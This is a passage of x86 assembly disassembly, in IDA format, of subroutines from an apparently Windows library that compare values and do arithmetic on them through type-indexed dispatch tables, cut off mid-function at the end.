; =============== S U B	R O U T	I N E =======================================



sub_69B64131	proc near		; CODE XREF: sub_69B642AB+7Cp
					; sub_69B642AB+97p ...

arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_8]
		movzx	eax, byte ptr [eax+8]
		push	eax
		mov	eax, [esp+4+arg_4]
		movzx	eax, byte ptr [eax+8]
		push	eax
		call	sub_69B63EC8
		mov	ecx, [esp+arg_C]
		mov	[ecx], eax
		xor	eax, eax
		inc	eax
		retn	10h
sub_69B64131	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B64154	proc near		; CODE XREF: sub_69B642AB+7Cp
					; sub_69B642AB+97p ...

arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_8]
		push	dword ptr [eax+0Ch]
		push	dword ptr [eax+8]
		mov	eax, [esp+8+arg_4]
		push	dword ptr [eax+0Ch]
		push	dword ptr [eax+8]
		call	sub_69B63EE8
		mov	ecx, [esp+arg_C]
		mov	[ecx], eax
		xor	eax, eax
		inc	eax
		retn	10h
sub_69B64154	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B64179	proc near		; CODE XREF: sub_69B642AB+68p
					; sub_69B642AB+7Cp ...

var_24		= qword	ptr -24h
var_1C		= qword	ptr -1Ch
var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax+8]
		mov	eax, [ebp+arg_8]
		fstp	[ebp+var_10]
		push	esi
		fld	qword ptr [eax+8]
		push	ecx
		fstp	[ebp+var_8]
		push	ecx		; double
		fld	[ebp+var_10]
		fstp	[esp+1Ch+var_1C]
		call	sub_69B84BCE
		fld	[ebp+var_8]
		mov	esi, eax
		fstp	[esp+1Ch+var_1C]
		call	sub_69B84BCE
		cmp	esi, 2
		pop	ecx
		pop	ecx
		jle	short loc_69B6421A
		cmp	eax, 2
		jle	short loc_69B6421A
		cmp	esi, 4
		jz	short loc_69B6420A
		mov	ecx, 200h
		cmp	esi, ecx
		jz	short loc_69B641FC
		cmp	eax, 4
		jz	short loc_69B641EB
		cmp	eax, ecx
		jz	short loc_69B641EB
		fld	[ebp+var_8]
		sub	esp, 10h
		fstp	[esp+24h+var_1C]
		fld	[ebp+var_10]
		fstp	[esp+24h+var_24]
		call	sub_69B63F19
		mov	ecx, [ebp+arg_C]
		mov	[ecx], eax
		jmp	short loc_69B64243
; ---------------------------------------------------------------------------


loc_69B641EB:				; CODE XREF: sub_69B64179+50j
					; sub_69B64179+54j
		cmp	esi, ecx
		jz	short loc_69B641FC
		xor	ecx, ecx
		cmp	esi, eax
		setnle	cl
		lea	ecx, [ecx+ecx-1]
		jmp	short loc_69B64213
; ---------------------------------------------------------------------------


loc_69B641FC:				; CODE XREF: sub_69B64179+4Bj
					; sub_69B64179+74j
		xor	edx, edx
		cmp	eax, ecx
		mov	eax, [ebp+arg_C]
		setnz	dl
		mov	[eax], edx
		jmp	short loc_69B64243
; ---------------------------------------------------------------------------


loc_69B6420A:				; CODE XREF: sub_69B64179+42j
		xor	ecx, ecx
		cmp	eax, 4
		setz	cl
		dec	ecx


loc_69B64213:				; CODE XREF: sub_69B64179+81j
		mov	eax, [ebp+arg_C]
		mov	[eax], ecx
		jmp	short loc_69B64243
; ---------------------------------------------------------------------------


loc_69B6421A:				; CODE XREF: sub_69B64179+38j
					; sub_69B64179+3Dj
		mov	ecx, [ebp+arg_0]
		and	ecx, 7
		jz	short loc_69B6422B
		mov	edx, dword_69B9A094[ecx*4]
		jmp	short loc_69B64231
; ---------------------------------------------------------------------------


loc_69B6422B:				; CODE XREF: sub_69B64179+A7j
		mov	edx, dword_69B9A09C


loc_69B64231:				; CODE XREF: sub_69B64179+B0j
		cmp	eax, 2
		mov	ecx, [ebp+arg_C]
		mov	[ecx], edx
		jg	short loc_69B64243
		test	byte ptr [ebp+arg_0], 20h
		jz	short loc_69B64243
		neg	dword ptr [ecx]


loc_69B64243:				; CODE XREF: sub_69B64179+70j
					; sub_69B64179+8Fj ...
		xor	eax, eax
		inc	eax
		pop	esi
		leave
		retn	10h
sub_69B64179	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6424B	proc near		; CODE XREF: sub_69B642AB+7Cp
					; sub_69B642AB+97p ...

var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_8]
		fld	qword ptr [eax+8]
		mov	eax, [esp+arg_4]
		sub	esp, 10h
		fstp	[esp+10h+var_8]
		fld	qword ptr [eax+8]
		fstp	[esp+10h+var_10]
		call	sub_69B63F52
		mov	ecx, [esp+arg_C]
		mov	[ecx], eax
		xor	eax, eax
		inc	eax
		retn	10h
sub_69B6424B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B64274	proc near		; CODE XREF: sub_69B6496E+13p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		mov	edx, [eax+8]
		mov	eax, [eax+0Ch]
		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [ecx+8]
		mov	ecx, [ecx+0Ch]
		push	edx
		push	eax
		mov	eax, [esp+0Ch+arg_0]
		push	esi
		shr	eax, 3
		push	ecx
		and	eax, 1
		push	eax
		call	ds:GetThreadLocale	; GetThreadLocale
		push	eax
		call	ds:SHLWAPI_45
		dec	eax
		dec	eax
		pop	esi
		retn	0Ch
sub_69B64274	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B642AB	proc near		; CODE XREF: sub_69B645E4+144p
					; sub_69B65333+12p ...

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
pbstrOut	= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		xor	eax, eax
		cmp	[ebp+arg_C], 1
		push	ebx
		push	esi
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], al
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], al
		jnz	short loc_69B64330
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+pbstrOut]
		mov	eax, ebx
		and	eax, 7
		test	bl, 20h
		jnz	short loc_69B6431A
		cmp	eax, 2
		jz	short loc_69B6431A
		cmp	eax, 5
		jz	short loc_69B6431A
		mov	eax, [ecx]
		cmp	eax, 6
		jz	short loc_69B6431A
		cmp	dword ptr [esi], 6
		jz	short loc_69B6431A
		lea	edx, [ebp+var_20]
		push	edx		; int
		push	ecx		; pbstrOut
		call	off_69B99FCC[eax*4]
		mov	eax, [esi]
		lea	ecx, [ebp+var_10]
		push	ecx		; int
		push	esi		; pbstrOut
		call	off_69B99FCC[eax*4]
		push	[ebp+arg_8]
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	ebx
		call	sub_69B64179
		jmp	short loc_69B64349
; ---------------------------------------------------------------------------


loc_69B6431A:				; CODE XREF: sub_69B642AB+2Aj
					; sub_69B642AB+2Fj ...
		mov	eax, [ecx]
		push	[ebp+arg_8]
		imul	eax, 7
		add	eax, [esi]
		push	esi
		push	ecx
		push	ebx
		call	off_69B99DE8[eax*4]
		jmp	short loc_69B64349
; ---------------------------------------------------------------------------


loc_69B64330:				; CODE XREF: sub_69B642AB+1Aj
		mov	edx, [ecx]
		push	[ebp+arg_8]
		imul	edx, 7
		mov	eax, [ebp+pbstrOut]
		add	edx, [eax]
		push	eax
		push	ecx
		push	[ebp+arg_0]
		call	off_69B99D20[edx*4]


loc_69B64349:				; CODE XREF: sub_69B642AB+6Dj
					; sub_69B642AB+83j
		lea	ecx, [ebp+var_10]
		mov	esi, eax
		call	sub_69B466CC
		lea	ecx, [ebp+var_20]
		call	sub_69B466CC
		mov	eax, esi
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_69B642AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B64363	proc near		; CODE XREF: sub_69B69CBF+5Dp

arg_0		= dword	ptr  8
pbstrOut	= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	ebx, ecx
		mov	eax, [ebx]
		push	3
		pop	edi
		cmp	eax, edi
		jz	short loc_69B6437D
		push	ebx		; int
		push	ebx		; pbstrOut
		call	off_69B99FCC[eax*4]


loc_69B6437D:				; CODE XREF: sub_69B64363+Fj
		cmp	[ebp+arg_0], edi
		mov	esi, [ebp+pbstrOut]
		jz	short loc_69B643D4
		xor	eax, eax
		cmp	esi, eax
		jz	short loc_69B6438F
		cmp	[esi], eax
		jnz	short loc_69B643A9


loc_69B6438F:				; CODE XREF: sub_69B64363+26j
		push	80004005h
		push	eax
		push	eax
		push	0C00CE604h
		call	sub_69B2F944
		add	esp, 0Ch
		push	eax
		call	sub_69B2E8A2


loc_69B643A9:				; CODE XREF: sub_69B64363+2Aj
		mov	eax, [esi]
		push	esi		; int
		push	esi		; pbstrOut
		call	off_69B99FCC[eax*4]
		cmp	[esi], edi
		jz	short loc_69B643D4
		push	80004005h
		push	0
		push	0
		push	0C00CE604h
		call	sub_69B2F944
		add	esp, 0Ch
		push	eax
		call	sub_69B2E8A2


loc_69B643D4:				; CODE XREF: sub_69B64363+20j
					; sub_69B64363+53j
		cmp	[ebx], edi
		jz	short loc_69B643F4
		push	80004005h
		push	0
		push	0
		push	0C00CE604h
		call	sub_69B2F944
		add	esp, 0Ch
		push	eax
		call	sub_69B2E8A2


loc_69B643F4:				; CODE XREF: sub_69B64363+73j
		mov	eax, [ebp+arg_0]
		dec	eax
		jz	loc_69B6448F
		dec	eax
		jz	loc_69B64487
		dec	eax
		jz	short loc_69B6447C
		dec	eax
		jz	short loc_69B64462
		dec	eax
		jz	short loc_69B6441D
		dec	eax
		jnz	loc_69B6449D
		fld	qword ptr [esi+8]
		fmul	qword ptr [ebx+8]
		jmp	short loc_69B64495
; ---------------------------------------------------------------------------


loc_69B6441D:				; CODE XREF: sub_69B64363+A9j
		fldz
		fcomp	qword ptr [esi+8]
		fnstsw	ax
		test	ah, 44h
		jp	short loc_69B6445A
		fldz
		fcomp	qword ptr [ebx+8]
		fnstsw	ax
		test	ah, 44h
		jp	short loc_69B6443C
		call	sub_69B64094
		jmp	short loc_69B64495
; ---------------------------------------------------------------------------


loc_69B6443C:				; CODE XREF: sub_69B64363+D0j
		fld	qword ptr [ebx+8]
		fcomp	ds:dbl_69B29700
		fnstsw	ax
		test	ah, 41h
		jnz	short loc_69B64453
		call	sub_69B640BF
		jmp	short loc_69B64495
; ---------------------------------------------------------------------------


loc_69B64453:				; CODE XREF: sub_69B64363+E7j
		call	sub_69B640EA
		jmp	short loc_69B64495
; ---------------------------------------------------------------------------


loc_69B6445A:				; CODE XREF: sub_69B64363+C4j
		fld	qword ptr [ebx+8]
		fdiv	qword ptr [esi+8]
		jmp	short loc_69B64495
; ---------------------------------------------------------------------------


loc_69B64462:				; CODE XREF: sub_69B64363+A6j
		fld	qword ptr [ebx+8]
		fld	st
		fdiv	qword ptr [esi+8]
		call	sub_69B1A82C
		mov	[ebp+arg_0], eax
		fild	[ebp+arg_0]
		fmul	qword ptr [esi+8]
		fsubp	st(1), st
		jmp	short loc_69B64495
; ---------------------------------------------------------------------------


loc_69B6447C:				; CODE XREF: sub_69B64363+A3j
		fld	qword ptr [ebx+8]
		fmul	ds:dbl_69B296B0
		jmp	short loc_69B64495
; ---------------------------------------------------------------------------


loc_69B64487:				; CODE XREF: sub_69B64363+9Cj
		fld	qword ptr [ebx+8]
		fsub	qword ptr [esi+8]
		jmp	short loc_69B64495
; ---------------------------------------------------------------------------


loc_69B6448F:				; CODE XREF: sub_69B64363+95j
		fld	qword ptr [esi+8]
		fadd	qword ptr [ebx+8]


loc_69B64495:				; CODE XREF: sub_69B64363+B8j
					; sub_69B64363+D7j ...
		mov	eax, [ebp+arg_8]
		fstp	qword ptr [eax+8]
		mov	[eax], edi


loc_69B6449D:				; CODE XREF: sub_69B64363+ACj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_69B64363	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B644A4	proc near		; CODE XREF: sub_69B642AB+97p
					; sub_69B644A4+35p ...

var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_8]
		and	[ebp+var_10], 0
		push	esi
		mov	esi, [ebp+arg_4]
		push	2
		lea	eax, [ebp+var_10]
		push	eax
		push	dword ptr [esi]
		mov	[ebp+var_C], 0
		call	sub_69B64008
		mov	eax, [esi]
		push	[ebp+arg_C]
		imul	eax, 7
		add	eax, [ebp+var_10]
		lea	ecx, [ebp+var_10]
		push	ecx
		push	esi
		push	[ebp+arg_0]
		call	off_69B99D20[eax*4]
		lea	ecx, [ebp+var_10]
		mov	esi, eax
		call	sub_69B466CC
		mov	eax, esi
		pop	esi
		leave
		retn	10h
sub_69B644A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B644F1	proc near		; CODE XREF: sub_69B642AB+97p
					; sub_69B644A4+35p ...

var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_4]
		and	[ebp+var_10], 0
		push	esi
		mov	esi, [ebp+arg_8]
		push	2
		lea	eax, [ebp+var_10]
		push	eax
		push	dword ptr [esi]
		mov	[ebp+var_C], 0
		call	sub_69B64008
		mov	eax, [ebp+var_10]
		push	[ebp+arg_C]
		imul	eax, 7
		add	eax, [esi]
		push	esi
		lea	ecx, [ebp+var_10]
		push	ecx
		push	[ebp+arg_0]
		call	off_69B99D20[eax*4]
		lea	ecx, [ebp+var_10]
		mov	esi, eax
		call	sub_69B466CC
		mov	eax, esi
		pop	esi
		leave
		retn	10h
sub_69B644F1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B6453E	proc near		; CODE XREF: sub_69B642AB+7Cp
					; sub_69B6453E+3Bp
					; DATA XREF: ...

var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
pbstrOut	= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+pbstrOut]
		and	[ebp+var_10], 0
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi]
		imul	eax, 7
		add	eax, [ecx]
		lea	edx, [ebp+var_10]
		push	edx		; int
		push	ecx		; pbstrOut
		mov	[ebp+var_C], 0
		call	off_69B99F78[eax*4]
		mov	eax, [esi]
		push	[ebp+arg_C]
		imul	eax, 7
		add	eax, [ebp+var_10]
		lea	ecx, [ebp+var_10]
		push	ecx
		push	esi
		push	[ebp+arg_0]
		call	off_69B99DE8[eax*4]
		lea	ecx, [ebp+var_10]
		mov	esi, eax
		call	sub_69B466CC
		mov	eax, esi
		pop	esi
		leave
		retn	10h
sub_69B6453E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B64591	proc near		; CODE XREF: sub_69B642AB+7Cp
					; sub_69B6453E+3Bp
					; DATA XREF: ...

var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
pbstrOut	= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+pbstrOut]
		and	[ebp+var_10], 0
		push	esi
		mov	esi, [ebp+arg_8]
		mov	eax, [esi]
		imul	eax, 7
		add	eax, [ecx]
		lea	edx, [ebp+var_10]
		push	edx		; int
		push	ecx		; pbstrOut
		mov	[ebp+var_C], 0
		call	off_69B99F78[eax*4]
		mov	eax, [ebp+var_10]
		push	[ebp+arg_C]
		imul	eax, 7
		add	eax, [esi]
		push	esi
		lea	ecx, [ebp+var_10]
		push	ecx
		push	[ebp+arg_0]
		call	off_69B99D20[eax*4]
		lea	ecx, [ebp+var_10]
		mov	esi, eax
		call	sub_69B466CC
		mov	eax, esi
		pop	esi
		leave
		retn	10h
sub_69B64591	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B645E4	proc near		; CODE XREF: sub_69B6476C+14p
					; sub_69B64788+14p ...

var_24		= qword	ptr -24h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
pbstrOut	= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		and	[ebp+var_10], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		mov	ecx, [edi+8]
		mov	[ebp+var_C], 0
		mov	eax, [ecx]
		call	dword ptr [eax+38h]
		test	al, al
		jnz	short loc_69B6461D
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	eax, 7
		mov	eax, dword_69B9A094[eax*4]
		xor	esi, esi
		mov	[ecx], eax
		inc	esi
		jmp	loc_69B6475C
; ---------------------------------------------------------------------------


loc_69B6461D:				; CODE XREF: sub_69B645E4+1Dj
		mov	esi, [ebp+arg_0]
		cmp	esi, 2
		push	ebx
		jz	short loc_69B64665
		cmp	esi, 5
		jz	short loc_69B64665
		mov	ebx, [ebp+pbstrOut]
		mov	eax, [ebx]
		push	ebx		; int
		push	ebx		; pbstrOut
		mov	byte ptr [ebp+arg_0+3],	1
		call	off_69B99FCC[eax*4]
		fld	qword ptr [ebx+8]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_69B84BCE
		cmp	eax, 2
		pop	ecx
		pop	ecx
		jg	short loc_69B6466C
		mov	ecx, [ebp+arg_C]
		and	esi, 7
		mov	eax, dword_69B9A094[esi*4]
		mov	[ecx], eax
		jmp	loc_69B64758
; ---------------------------------------------------------------------------


loc_69B64665:				; CODE XREF: sub_69B645E4+40j
					; sub_69B645E4+45j
		mov	ebx, [ebp+pbstrOut]
		mov	byte ptr [ebp+arg_0+3],	0


loc_69B6466C:				; CODE XREF: sub_69B645E4+6Bj
		mov	ecx, [edi+8]
		mov	eax, [ecx]
		call	dword ptr [eax+3Ch]
		test	eax, eax
		jz	loc_69B6471A
		mov	edi, [ebp+arg_C]
		jmp	short loc_69B64684
; ---------------------------------------------------------------------------


loc_69B64681:				; CODE XREF: sub_69B645E4+12Bj
		mov	ebx, [ebp+pbstrOut]


loc_69B64684:				; CODE XREF: sub_69B645E4+9Bj
		mov	edx, [eax]
		push	0
		push	4
		mov	ecx, eax
		call	dword ptr [edx+4Ch]
		push	eax
		lea	ecx, [ebp+var_10]
		call	sub_69B48684
		cmp	byte ptr [ebp+arg_0+3],	0
		jz	short loc_69B646A3
		push	3
		pop	eax
		jmp	short loc_69B646A6
; ---------------------------------------------------------------------------


loc_69B646A3:				; CODE XREF: sub_69B645E4+B8j
		mov	eax, [ebp+arg_10]


loc_69B646A6:				; CODE XREF: sub_69B645E4+BDj
		imul	eax, 7
		add	eax, [ebp+var_10]
		lea	ecx, [ebp+var_10]
		push	ecx		; int
		lea	ecx, [ebp+var_10]
		push	ecx		; pbstrOut
		call	off_69B99F78[eax*4]
		cmp	[ebp+var_10], 0
		jnz	short loc_69B646C7
		cmp	[ebp+arg_10], 0
		jnz	short loc_69B646E1


loc_69B646C7:				; CODE XREF: sub_69B645E4+DBj
		cmp	byte ptr [ebp+arg_0+3],	0
		jz	short loc_69B6471E
		fld	[ebp+var_8]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_69B84BCE
		cmp	eax, 2
		pop	ecx
		pop	ecx
		jg	short loc_69B6471E


loc_69B646E1:				; CODE XREF: sub_69B645E4+E1j
		mov	eax, esi
		and	eax, 7
		mov	eax, dword_69B9A094[eax*4]
		mov	[edi], eax


loc_69B646EF:				; CODE XREF: sub_69B645E4+153j
		or	ebx, 0FFFFFFFFh


loc_69B646F2:				; CODE XREF: sub_69B645E4+166j
		cmp	ebx, 1
		jz	short loc_69B64758
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax+8]
		mov	eax, [ecx]
		call	dword ptr [eax+40h]
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax+8]
		mov	eax, [ecx]
		call	dword ptr [eax+3Ch]
		test	eax, eax
		jnz	loc_69B64681
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_69B6474C


loc_69B6471A:				; CODE XREF: sub_69B645E4+92j
		xor	esi, esi
		jmp	short loc_69B6475B
; ---------------------------------------------------------------------------


loc_69B6471E:				; CODE XREF: sub_69B645E4+E7j
					; sub_69B645E4+FBj
		push	1
		push	edi
		lea	eax, [ebp+var_10]
		push	eax
		mov	ecx, ebx
		push	esi
		call	sub_69B642AB
		cmp	[ebp+arg_14], 0
		jz	short loc_69B64735
		neg	dword ptr [edi]


loc_69B64735:				; CODE XREF: sub_69B645E4+14Dj
		test	eax, eax
		jz	short loc_69B646EF
		mov	eax, esi
		and	eax, 7
		lea	eax, [eax+eax*2]
		add	eax, [edi]
		mov	ebx, dword_69B9A044[eax*4]
		jmp	short loc_69B646F2
; ---------------------------------------------------------------------------


loc_69B6474C:				; CODE XREF: sub_69B645E4+134j
		and	esi, 7
		mov	eax, dword_69B9A094[esi*4]
		mov	[edi], eax


loc_69B64758:				; CODE XREF: sub_69B645E4+7Cj
					; sub_69B645E4+111j
		xor	esi, esi
		inc	esi


loc_69B6475B:				; CODE XREF: sub_69B645E4+138j
		pop	ebx


loc_69B6475C:				; CODE XREF: sub_69B645E4+34j
		lea	ecx, [ebp+var_10]
		call	sub_69B466CC
		pop	edi
		mov	eax, esi
		pop	esi
		leave
		retn	18h
sub_69B645E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6476C	proc near		; CODE XREF: sub_69B642AB+7Cp
					; sub_69B6453E+3Bp
					; DATA XREF: ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	0
		push	3
		push	[esp+8+arg_C]
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		call	sub_69B645E4
		retn	10h
sub_69B6476C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B64788	proc near		; CODE XREF: sub_69B642AB+7Cp
					; sub_69B6453E+3Bp
					; DATA XREF: ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	1
		push	5
		push	[esp+8+arg_C]
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_8]
		push	[esp+14h+arg_0]
		call	sub_69B645E4
		retn	10h
sub_69B64788	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B647A4	proc near		; CODE XREF: sub_69B642AB+7Cp
					; sub_69B6453E+3Bp
					; DATA XREF: ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	1
		push	3
		push	[esp+8+arg_C]
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_8]
		push	[esp+14h+arg_0]
		call	sub_69B645E4
		retn	10h
sub_69B647A4	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B647C0	proc near		; CODE XREF: sub_69B642AB+7Cp
					; sub_69B6453E+3Bp
					; DATA XREF: ...

arg_4		= dword	ptr  8
pbstrOut	= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		mov	esi, [esp+4+pbstrOut]
		mov	eax, [esi]
		push	esi		; int
		push	esi		; pbstrOut
		call	off_69B99F94[eax*4]
		push	[esp+4+arg_C]
		push	esi
		push	[esp+0Ch+arg_4]
		push	0
		call	sub_69B64131
		pop	esi
		retn	10h
sub_69B647C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B647E4	proc near		; CODE XREF: sub_69B642AB+7Cp
					; sub_69B6453E+3Bp
					; DATA XREF: ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	0
		push	5
		push	[esp+8+arg_C]
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		call	sub_69B645E4
		retn	10h
sub_69B647E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B64800	proc near		; CODE XREF: sub_69B642AB+7Cp
					; sub_69B6453E+3Bp
					; DATA XREF: ...

pbstrOut	= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		mov	esi, [esp+4+pbstrOut]
		mov	eax, [esi]
		push	esi		; int
		push	esi		; pbstrOut
		call	off_69B99F94[eax*4]
		push	[esp+4+arg_C]
		push	[esp+8+arg_8]
		push	esi
		push	0
		call	sub_69B64131
		pop	esi
		retn	10h
sub_69B64800	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B64824	proc near		; CODE XREF: sub_69B642AB+7Cp
					; sub_69B6453E+3Bp
					; DATA XREF: ...

var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		mov	eax, [ecx]
		push	ebx
		push	esi
		push	edi
		call	dword ptr [eax+3Ch]
		and	[ebp+var_10], 0
		mov	edi, eax
		test	edi, edi
		mov	[ebp+var_C], 0
		jz	short loc_69B648B8
		mov	ebx, [ebp+arg_C]
		mov	esi, [ebp+arg_0]


loc_69B6484C:				; CODE XREF: sub_69B64824+8Cj
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax+8]
		mov	eax, [ecx]
		call	dword ptr [eax+44h]
		mov	eax, [edi]
		push	0
		push	4
		mov	ecx, edi
		call	dword ptr [eax+4Ch]
		push	eax
		lea	ecx, [ebp+var_10]
		call	sub_69B48684
		push	0
		push	5
		push	ebx
		push	[ebp+arg_8]
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	sub_69B645E4
		test	eax, eax
		jz	short loc_69B64897
		mov	eax, esi
		and	eax, 7
		lea	eax, [eax+eax*2]
		add	eax, [ebx]
		mov	eax, dword_69B9A044[eax*4]
		mov	[ebp+arg_C], eax
		jmp	short loc_69B6489B
; ---------------------------------------------------------------------------


loc_69B64897:				; CODE XREF: sub_69B64824+5Bj
		or	[ebp+arg_C], 0FFFFFFFFh


loc_69B6489B:				; CODE XREF: sub_69B64824+71j
		cmp	[ebp+arg_C], 1
		jz	short loc_69B648C8
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+8]
		mov	eax, [ecx]
		call	dword ptr [eax+40h]
		mov	edi, eax
		test	edi, edi
		jnz	short loc_69B6484C
		cmp	[ebp+arg_C], 0FFFFFFFFh
		jnz	short loc_69B648BC


loc_69B648B8:				; CODE XREF: sub_69B64824+20j
		xor	esi, esi
		jmp	short loc_69B648CB
; ---------------------------------------------------------------------------


loc_69B648BC:				; CODE XREF: sub_69B64824+92j
		and	esi, 7
		mov	eax, dword_69B9A094[esi*4]
		mov	[ebx], eax


loc_69B648C8:				; CODE XREF: sub_69B64824+7Bj
		xor	esi, esi
		inc	esi


loc_69B648CB:				; CODE XREF: sub_69B64824+96j
		lea	ecx, [ebp+var_10]
		call	sub_69B466CC
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_69B64824	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B648DC	proc near		; CODE XREF: sub_69B642AB+7Cp
					; sub_69B642AB+97p ...

var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		and	[ebp+var_10], 0
		push	esi
		mov	esi, [ebp+arg_8]
		mov	ecx, [esi+8]
		mov	[ebp+var_C], 0
		mov	eax, [ecx]
		call	dword ptr [eax+3Ch]
		test	eax, eax
		mov	edx, [esi]
		jnz	short loc_69B64909
		mov	eax, [ebp+arg_C]
		mov	dword ptr [eax], 1
		xor	esi, esi
		jmp	short loc_69B64942
; ---------------------------------------------------------------------------


loc_69B64909:				; CODE XREF: sub_69B648DC+1Ej
		test	edx, edx
		mov	esi, [ebp+arg_4]
		jnz	short loc_69B64912
		mov	edx, [esi]


loc_69B64912:				; CODE XREF: sub_69B648DC+32j
		push	edi
		mov	edi, [eax]
		lea	ecx, [ebp+var_10]
		push	ecx
